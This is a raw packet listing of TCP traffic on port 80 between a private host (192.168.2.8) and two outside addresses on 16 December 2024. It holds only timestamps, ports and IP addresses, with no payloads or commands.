Dec 16, 2024 13:16:47.749991894 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.750565052 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.750607014 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.750673056 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.750758886 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.751600027 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.751641989 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.751727104 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.751760960 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.752634048 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.752674103 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.752753019 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.752794027 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.753659964 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.753704071 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.753767967 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.753802061 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.754757881 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.754800081 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.754898071 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.755023956 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.755753040 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.755794048 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.755855083 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.756362915 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.756771088 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.756831884 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.756880999 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.756920099 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.757886887 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.757939100 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.758014917 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.758081913 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.758918047 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.758974075 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.759066105 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.759208918 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.759917974 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.759960890 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.760046959 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.760083914 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.760940075 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.760993004 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.761029959 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.761116982 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.762181044 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.762226105 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.762264013 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.762993097 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.763089895 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.763098955 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.763135910 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.763991117 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.764034986 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.902204990 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.902225971 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.902276993 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.902276993 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.902390003 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.902434111 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.902977943 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.903244019 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.904911995 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.905076027 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.906085014 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.906099081 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.906111002 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.906121969 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.906133890 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.906153917 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.906213045 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.906848907 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.907021999 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.907067060 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.907766104 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.907814980 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.908075094 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.908123970 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.908938885 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.908957958 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.908984900 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.909017086 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.909895897 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.909914017 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.909940958 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.909966946 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.910753965 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.910805941 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.910903931 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.910948038 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.911746979 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.911796093 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.912051916 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.912102938 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.913049936 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.913100004 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.913223028 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.913291931 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.914232969 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.914244890 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.914378881 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.915040016 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.915282965 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.915353060 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.915455103 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.916153908 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.916198969 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.916312933 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.916357040 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.917093039 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.917140007 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.917423010 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.917468071 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.918087006 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.918132067 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.918273926 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.918308973 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.919210911 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.919279099 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.919368029 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.919409990 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.920130014 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.920316935 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.920365095 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.921077967 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.921139002 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.921396017 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.921442986 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.922271967 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.922357082 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.922432899 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.922542095 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.923326015 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.923377037 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.923501968 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.923552990 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.924299002 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.924355030 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.924366951 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.924529076 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.925337076 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.925520897 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.926275969 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.926619053 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.926783085 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:47.926839113 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:47.926927090 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:47.926969051 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:47.927124023 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.927164078 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.927303076 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.927340031 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.927983999 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.927994967 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.928045988 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.928131104 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:47.928143024 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:47.928152084 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:47.928188086 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:47.928200960 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:47.928463936 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.928559065 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.928647041 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.928658962 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:47.928672075 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:47.928685904 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.928706884 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:47.929615021 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.929703951 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.929785967 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.929824114 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.930635929 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.930690050 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.930800915 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.930843115 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.931503057 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.931560040 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.931715965 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.931823969 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.932548046 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.932559967 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.932616949 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.933518887 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.933562994 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.933566093 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.933593988 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.934518099 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.934581041 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.934745073 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.934789896 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.935648918 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.935662985 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.935694933 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.935724020 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.936502934 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:47.936553955 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.936564922 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:47.936594009 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.936610937 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.936630011 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.937633038 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.937693119 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.937715054 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.938106060 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.938662052 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.938719034 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.938785076 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.938852072 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.939841032 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.939894915 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.939937115 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.939974070 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.940900087 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.940912962 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.940957069 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.941817999 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.941891909 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.941940069 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.943766117 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.943840981 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.944339037 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.945183039 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.945528984 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.945542097 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.945557117 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.945569038 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.945590973 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.945610046 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.946147919 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.946202993 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.946320057 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.946362019 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.947196960 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.947249889 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.947346926 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.947396994 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.948149920 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.948198080 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.948328972 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.948373079 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.949228048 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.949239969 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.949280977 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.950268030 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.950324059 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.950388908 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.950436115 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.951364040 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.951416969 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.951606989 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.951651096 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.952289104 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.952334881 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.952410936 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.952450991 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.953196049 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.953247070 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.953322887 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.953387022 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.954211950 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.954298973 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.954313993 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.954454899 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.955271006 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.955326080 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.955336094 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.955370903 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.956574917 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.956633091 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.093975067 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.094106913 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.094168901 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.094245911 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.094259024 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.094309092 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.095405102 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.095417976 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.095441103 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.095454931 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.096412897 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.096426010 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.096461058 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.096473932 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.097485065 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.097534895 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.097578049 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.097616911 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.098443985 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.098496914 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.098576069 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.098617077 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.099534988 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.099550009 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.099580050 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.099597931 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.100434065 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.100529909 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.100600004 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.100667000 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.101598024 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.101610899 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.101639986 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.101655006 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.102622032 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.102633953 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.102682114 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.102694035 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.103667021 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.103677988 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.103724003 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.104703903 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.104717970 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.104758024 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.104774952 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.105773926 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.105786085 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.105829954 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.106762886 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.106774092 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.106889009 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.107738972 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.107808113 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.107877016 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.107918978 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.108907938 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.108921051 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.108973980 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.108973980 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.109808922 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.109858036 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.109949112 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.110440016 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.110866070 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.111326933 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.111382008 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.112004042 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.112071037 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.112112045 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.112180948 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.113085985 CET	80	49794	185.215.113.16	192.168.2.8
